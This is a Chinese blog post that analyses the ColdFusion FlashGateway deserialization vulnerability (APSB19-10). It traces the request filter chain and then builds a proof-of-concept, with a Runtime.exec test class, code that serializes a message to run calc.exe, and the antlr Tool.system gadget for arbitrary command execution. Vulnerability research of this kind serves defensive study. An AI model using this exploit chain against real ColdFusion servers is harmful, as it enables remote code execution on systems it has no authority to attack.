热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ColdFusionFlashGateway反序列化漏洞分析

 2019年2月12日,Adobe官方发布了针对Adobe ColdFusion的安全更新补丁,编号为APSB19-10。但是针对该漏洞的分析,目前网上我只见到一篇文章,https://paper.s

 

2019年2月12日,Adobe官方发布了针对Adobe ColdFusion的安全更新补丁,编号为APSB19-10。但是针对该漏洞的分析,目前网上我只见到一篇文章,https://paper.seebug.org/811/, 虽然文章没有给出太多的细节(对于我们小白而言)但根据该文章的提示,我们还是可以定位分析该漏洞,成功写出漏洞利用代码的。下面我就介绍下,我整个的分析过程。

 

环境搭建

讲真,这个环境搭建真心不太容易,想从网上下一款老版的ColdFusion安装包真的很难,还好我很久之前下过,所以这里省了我很多工夫。

安装包:ColdFusion_2016_WWEJ_win64.exe update3 版本存在漏洞。

安装完之后,默认后台地址为http://127.0.0.1:8500/CFIDE/administrator/index.cfm

 

漏洞定位

根据seebug文章中的介绍,漏洞出现在FlashGateway中。在web.xml中搜索flashgateway,其中一条信息如下

 


FlashGateway
/flashservices/gateway/*

访问http://127.0.0.1:8500/flashservices/gateway/,发现该网址可以访问,猜测出现漏洞的就是该网站。

根据seebug文章的规避方案可知,漏洞和gateway-config.xml也有关,于是为了方便后面漏洞调试,我们把中的配置全部打开(后面测试可知,其实只需要打开flashgateway.adapter.java.JavaAdapter配置即可)重启服务coldfusion.exe -restart -console

知道网站漏洞路径,下面我们就要定位漏洞代码,在cfusion的lib目录下有个文件flashgateway.jar,是不是像极了爱情,我们jd-gui打开该jar,可以看到,漏洞所涉及的类都在这个jar包中,真好。

 

漏洞分析


(1)简要分析

我们先到web.xml中,看下FlashGateway这个servlet的流程,从如下配置文件中可知,在访问http://127.0.0.1:8500/flashservices/gateway/后,会先到coldfusion.bootstrap.BootstrapServlet中,通过参数配置,大概可以猜测(事实也是如此),该类会加载flashgateway.controller.GatewayServlet。

GatewayServlet类中service(HttpServletRequest req, HttpServletResponse res),接收来之http的请求,然后调用cOntext= this.gateway.invoke(context)进入GateWay类中的invoke()

This. serialFilter由CreateFilters赋值

程序进入SerializationFilter的invoke()函数,该函数中对传入的数据进行了反序列化处理。

 

context.setResponseMessage(new ActionMessage());
MessageDeserializer deserializer = new MessageDeserializer(super.gateway);
deserializer.setDebugBuffer(debugBuffer);
deserializer.setInputStream(context.getHttpRequest().getInputStream());
try {
ActionMessage m = new ActionMessage();
context.setRequestMessage(m);
deserializer.readMessage(m);
success = true;
}

函数中创建MessageDeserializer对象,然后调用readMessage(m),将传入的ActionMessage数据反序列化,并复制给context中的相关变量。

这里我们先简单看下ActionMessage的成员变量

 

public class ActionMessage implements Serializable {
private static final int CURRENT_VERSION = 0;
private int version;
private ArrayList headers = null;
private ArrayList bodies = null;

其有两个数组列表headers和bodies。类型分别为MessageHeader、MessageBody。其中MessageBody和漏洞利用息息相关,所以这里我们重点关注其成员变量

 

public class MessageBody implements Serializable, GatewayConstants {
private String targetURI;
private String responseURI;
protected Object data;
public String adapterName;
public String serviceName;
public String functionName;
public List parameters;
public List roles;
public boolean useBasicAuthentication;
public boolean useCustomAuthentication;
public String serviceType;

重要的变量有targetURL、data、serviceName、functionName、paramters。

我们再回到反序列化函数readMessage(m)中

 

public void readMessage(ActionMessage m) throws IOException {
int version = this.in.readUnsignedShort();
m.setVersion(version);
int headerCount = this.in.readUnsignedShort();
for(int i = 0; i MessageHeader header = new MessageHeader();
m.addHeader(header);
this.readHeader(header, i);
}
int bodyCount = this.in.readUnsignedShort();
for(int i = 0; i MessageBody body = new MessageBody();
m.addBody(body);
this.readBody(body, i);
}
}

函数功能就是根据格式(header、body)对数据进行反序列化。

下面引用seebug上的一段话:

完成序列化过程后,此时ActionContext context中的内容即为输入流中精心构造的ActionMessage信息。在flashgateway.filter.AdapterFilter的invoke方法中,读取ActionContext中的MessageBody信息赋值给serviceName、functionName、parameters等,通过adapter=locateAdapter(context, serviceName, functionName, parameters, serviceType)方法得到flashgateway.adapter.java.JavaBeanAdapter类型的adapter,然后执行JavaBeanAdapter的invokeFunction方法。关键代码如下:

 

public ActionContext invoke(ActionContext context) throws Throwable {
this.processHeaders(context);
Object result = null;
String replyMethodName = "/onStatus";
MessageBody requestMessageBody = context.getRequestMessageBody();
String serviceName = requestMessageBody.serviceName;
String functiOnName= requestMessageBody.functionName;
List parameters = requestMessageBody.parameters;
try {
Throwable e;
try {
e = null;
String serviceType = requestMessageBody.serviceType;
ServiceAdapter adapter;
if (context.isDescribeRequest()) {
adapter = this.locateAdapter(context, serviceName, (String)null, (List)null, serviceType);
} else {
adapter = this.locateAdapter(context, serviceName, functionName, parameters, serviceType);
}
//......
//adapter为JavaBeanAdapter,执行flashgateway.adapter.java.JavaBeanAdapter的invokeFunction方法
if (context.isDescribeRequest()) {
result = adapter.describeService(context, serviceName);
} else {
result = adapter.invokeFunction(context, serviceName, functionName, parameters);
}

其中,目标执行方法method通过Method method = this.getMethod(parameters, serviceName, functionName, aClass)得到;方法执行对象service 通过service = aClass.newInstance()得到;方法执行参数parameters.toArray()通过MessageBody得到。由此可见,method.invoke(service, parameters.toArray())的所用参数都可控,意味着可执行任意方法。

 

public Object invokeFunction(ActionContext context, String serviceName, String functionName, List parameters) throws Throwable {
this.assertAccess(serviceName);
Class aClass = Class.forName(serviceName);
Object service = null;
HttpServletRequest req = context.getHttpRequest();
HttpSession session = req.getSession();
if (session.getAttribute(aClass.getName()) != null) {
service = session.getAttribute(aClass.getName());
} else {
service = aClass.newInstance();
session.setAttribute(aClass.getName(), service);
}
Method method = this.getMethod(parameters, serviceName, functionName, aClass);
return this.testPageable(context, method.invoke(service, parameters.toArray()));
}

有了这些信息,我想我可以简单写出payload进行测试(但是实际上并不能,但一开始谁知道呢)。

(2)初次尝试攻击

为了方便测试,我自己写了个简单的类,

 

package cmd;
public class MyCmd {
public MyCmd() {
}
public void cmd(String cmd) {
try{
Runtime.getRuntime().exec(cmd);
}
catch (Exception e) {
}
}
}

并将其打包成CmdPayload.jar,放在cfusion目录下的lib目录下。

下面我们就要构造序列化内容,怎么构造序列化内容呢

我最初的想法是,定义ActionMessage,然后赋值,将对象序列化,然后发送到目标地址,如下所示:

 

//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ActionMessageSer"));
oos.writeObject(myActionMessage);
oos.close();

数据发送后,返回信息提示afm协议错误(肯定是数据有格式要求),于是又经过一番折腾,发现FlashGateway.jar中正好提供一个类MessageSerializer用来序列化ActionMessage对象(想想也没毛病,既然有反序列化,那就应该有序列化)。

我们看下MessageBody对象序列化的过程。

 

private void writeBody(MessageBody b) throws IOException {
if (b.getTargetURI() == null) {
this.dataOut.writeUTF("null");
} else {
this.dataOut.writeUTF(b.getTargetURI());
}
if (b.getResponseURI() == null) {
this.dataOut.writeUTF("null");
} else {
this.dataOut.writeUTF(b.getResponseURI());
}
this.dataOut.writeInt(-1);
this.amfOut.resetReferences();
this.amfOut.writeObject(b.getData());
}

看到这个代码后,我很是苦恼,我们前面说过,反序列化最后调用过程中的几个重要变量分别是serviceName、functionName、parameters,这个过程没有任何对这些变量做处理的代码,然后再看看MessageDeserializer中对MessageBody的反序列化处理,也是没有这些变量的代码处理。那问题就来了,最后出现的这几个变量的值是怎么来的???

(3)过滤器链

关键变量的值是怎么传到服务器的?我们需要再理下流程。前面说到数据先到SerializationFilter最后会到AdapterFilter中。我们在序列化MessageBody时并没有直接处理serviceName相关变量,猜测数据的处理可能在SerializationFilter和AdapterFilter中间。

我们仔细分析下GateWay中的createFilters()函数,发下该函数创建了一个过滤器链,数据会按照这个过滤器链传递。

SerializationFilter->debugFilter->packetSecurityFilter->BatchProcessFilter->logFilter->errorFilter->licenseFilter->sessionFilter->envelopeFilter->serviceNameFilter->messageSecurityFilter->adapterFilter

依次查看过滤器代码,在ServiceNameFilter中发现了对serviceName的处理代码:

 

public ActionContext invoke(ActionContext context) throws Throwable {
MessageBody messageBody = context.getRequestMessageBody();
String targetURI = messageBody.getTargetURI();
int dotIndex = targetURI.lastIndexOf(".");
if (dotIndex > 0) {
messageBody.serviceName = targetURI.substring(0, dotIndex);
}
if (targetURI.length() > dotIndex) {
messageBody.functiOnName= targetURI.substring(dotIndex + 1);
}
Object messageData = messageBody.getData();
List parameters = null;
if (messageData == null) {
parameters = new ArrayList();
} else if (!(messageData instanceof List)) {
parameters = new ArrayList();
((List)parameters).add(messageData);
} else {
parameters = (List)messageBody.getData();
}
messageBody.parameters = (List)parameters;
……
}
super.next.invoke(context);
return context;
}

由上可知serviceName和functionName均来自targetURL,Parameters参数来自data。

比如我们要执行cmd.MyCmd类中的cmd函数,

targetURI赋值cmd.MyCmd.cmd即可

parameters通过data赋值

如果你看下PacketSecurityFilter中的代码,你就会发现整个流程的处理,可以不需要MessageHeader,所以我们前面基本不提MessageHeader相关细节。

下面我写了个简单的代码,执行我们的payload(我们之前手动放到lib目录下的CmdPayload.jar)

 

MessageSerializer myMessageSer = new MessageSerializer(false, "Classic", false);
myMessageSer.setOutputStream(new FileOutputStream("MessageSerializerSer"));
ActionMessage myActiOnMessage= new ActionMessage();
myActionMessage.setVersion(3);
//init msg header
//MessageHeader msgHeader1 = new MessageHeader("header1", false, "11111111111");
MessageBody msgBody1 = new MessageBody();
msgBody1.setTargetURI("cmd.MyCmd.cmd");
List paramList = new ArrayList<>();
paramList.add("D:\\calc.exe");
msgBody1.setData(paramList);
myActionMessage.addBody(msgBody1);
myMessageSer.writeMessage(myActionMessage);

测试后发现,漏洞利用成功。

 

漏洞利用

数据处理的整个流程基本已经清楚,漏洞触发也没啥问题,但实际环境中我们不可能事先在别人的机器放上我们写好的jar文件吧。

漏洞利用,我们想要的最好结果,要么就是任意命令执行、要么能够上传、写文件也是ok的。

如果去测试java常用的攻击相关的类,比如Runtime、ProcessBuilder、File等类去做利用,都会失败(下面利用都是我个人对这个漏洞的理解,不一定完全正确)。

为什么呢,我们在看下JavaBeanAdapter中反射执行的代码

 

Class aClass = Class.forName(serviceName);
......
service = aClass.newInstance();

调用newInstance()去实例化类对象,这个函数要求,被实例化的类必须有一个public无参数的构造函数,使用getMethod()函数获取类的成员函数要求该函数必须是public。

现在我们明白能用来做该漏洞攻击的类必须具备两个条件


  1. 该类有一个public且无参数的构造函数

  2. 被执行的函数必须是public类型的

再去对比Runtime、File、ProcessBuilder等类,均不满足条件。

这两个条件给这个漏洞的利用制造一定的困难,要寻找这样条件的,还能满足我们执行代码要求的类,有点大海捞针的感觉。

但幸运的是,我还是找到了,在cufsion\lib目录下,有众多jar文件,怎么办,一个一个找呗,最后锁定两个jar文件ant.jar和antlr-2.7.6.jar,但是ant.jar的利用问题较多,未能成功。最后利用antlr-2.7.6.jar中的antlr.build.Tool.system成功实现任意代码执行。

Public 无参数的构造函数:

public Tool() {
this.os = System.getProperty("os.name");
}
public的成员函数:
public void system(String var1) {
Runtime var2 = Runtime.getRuntime();
try {
this.log(var1);
Process var3 = null;
if (!this.os.startsWith("Windows")) {
var3 = var2.exec(new String[]{"sh", "-c", var1});
} else {
var3 = var2.exec(var1);
}
......
int var6 = var3.waitFor();
} catch (Exception var7) {
this.error("cannot exec " + var1, var7);
}
}

 

新版补丁

新版本中JavaBeanAdapter的invokeFunction函数多了一句判断执行的类是否合理

 

参考:

[1].https://paper.seebug.org/811/


推荐阅读
  • 解决Only fullscreen opaque activities can request orientation错误的方法
    本文介绍了在使用PictureSelectorLight第三方框架时遇到的Only fullscreen opaque activities can request orientation错误,并提供了一种有效的解决方案。 ... [详细]
  • 优化后的标题:深入探讨网关安全:将微服务升级为OAuth2资源服务器的最佳实践
    本文深入探讨了如何将微服务升级为OAuth2资源服务器,以订单服务为例,详细介绍了在POM文件中添加 `spring-cloud-starter-oauth2` 依赖,并配置Spring Security以实现对微服务的保护。通过这一过程,不仅增强了系统的安全性,还提高了资源访问的可控性和灵活性。文章还讨论了最佳实践,包括如何配置OAuth2客户端和资源服务器,以及如何处理常见的安全问题和错误。 ... [详细]
  • 为什么多数程序员难以成为架构师?
    探讨80%的程序员为何难以晋升为架构师,涉及技术深度、经验积累和综合能力等方面。本文将详细解析Tomcat的配置和服务组件,帮助读者理解其内部机制。 ... [详细]
  • 本教程详细介绍了如何使用 Spring Boot 创建一个简单的 Hello World 应用程序。适合初学者快速上手。 ... [详细]
  • 原文网址:https:www.cnblogs.comysoceanp7476379.html目录1、AOP什么?2、需求3、解决办法1:使用静态代理4 ... [详细]
  • 深入解析Struts、Spring与Hibernate三大框架的面试要点与技巧 ... [详细]
  • Web开发框架概览:Java与JavaScript技术及框架综述
    Web开发涉及服务器端和客户端的协同工作。在服务器端,Java是一种优秀的编程语言,适用于构建各种功能模块,如通过Servlet实现特定服务。客户端则主要依赖HTML进行内容展示,同时借助JavaScript增强交互性和动态效果。此外,现代Web开发还广泛使用各种框架和库,如Spring Boot、React和Vue.js,以提高开发效率和应用性能。 ... [详细]
  • 本文介绍了 Go 语言中的高性能、可扩展、轻量级 Web 框架 Echo。Echo 框架简单易用,仅需几行代码即可启动一个高性能 HTTP 服务。 ... [详细]
  • 本文详细介绍了Java代码分层的基本概念和常见分层模式,特别是MVC模式。同时探讨了不同项目需求下的分层策略,帮助读者更好地理解和应用Java分层思想。 ... [详细]
  • 使用ArcGIS for Java和Flex浏览自定义ArcGIS Server 9.3地图
    本文介绍了如何在Flex应用程序中实现浏览自定义ArcGIS Server 9.3发布的地图。这是一个基本的入门示例,适用于初学者。 ... [详细]
  • com.sun.javadoc.PackageDoc.exceptions()方法的使用及代码示例 ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • 基于Net Core 3.0与Web API的前后端分离开发:Vue.js在前端的应用
    本文介绍了如何使用Net Core 3.0和Web API进行前后端分离开发,并重点探讨了Vue.js在前端的应用。后端采用MySQL数据库和EF Core框架进行数据操作,开发环境为Windows 10和Visual Studio 2019,MySQL服务器版本为8.0.16。文章详细描述了API项目的创建过程、启动步骤以及必要的插件安装,为开发者提供了一套完整的开发指南。 ... [详细]
  • 本文详细探讨了几种常用的Java后端开发框架组合及其具体应用场景。通过对比分析Spring Boot、MyBatis、Hibernate等框架的特点和优势,结合实际项目需求,为开发者提供了选择合适框架组合的参考依据。同时,文章还介绍了这些框架在微服务架构中的应用,帮助读者更好地理解和运用这些技术。 ... [详细]
  • Spring框架中枚举参数的正确使用方法与技巧
    本文详细阐述了在Spring Boot框架中正确使用枚举参数的方法与技巧,旨在帮助开发者更高效地掌握和应用枚举类型的数据传递,适合对Spring Boot感兴趣的读者深入学习。 ... [详细]
author-avatar
埃博拉网络科技
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有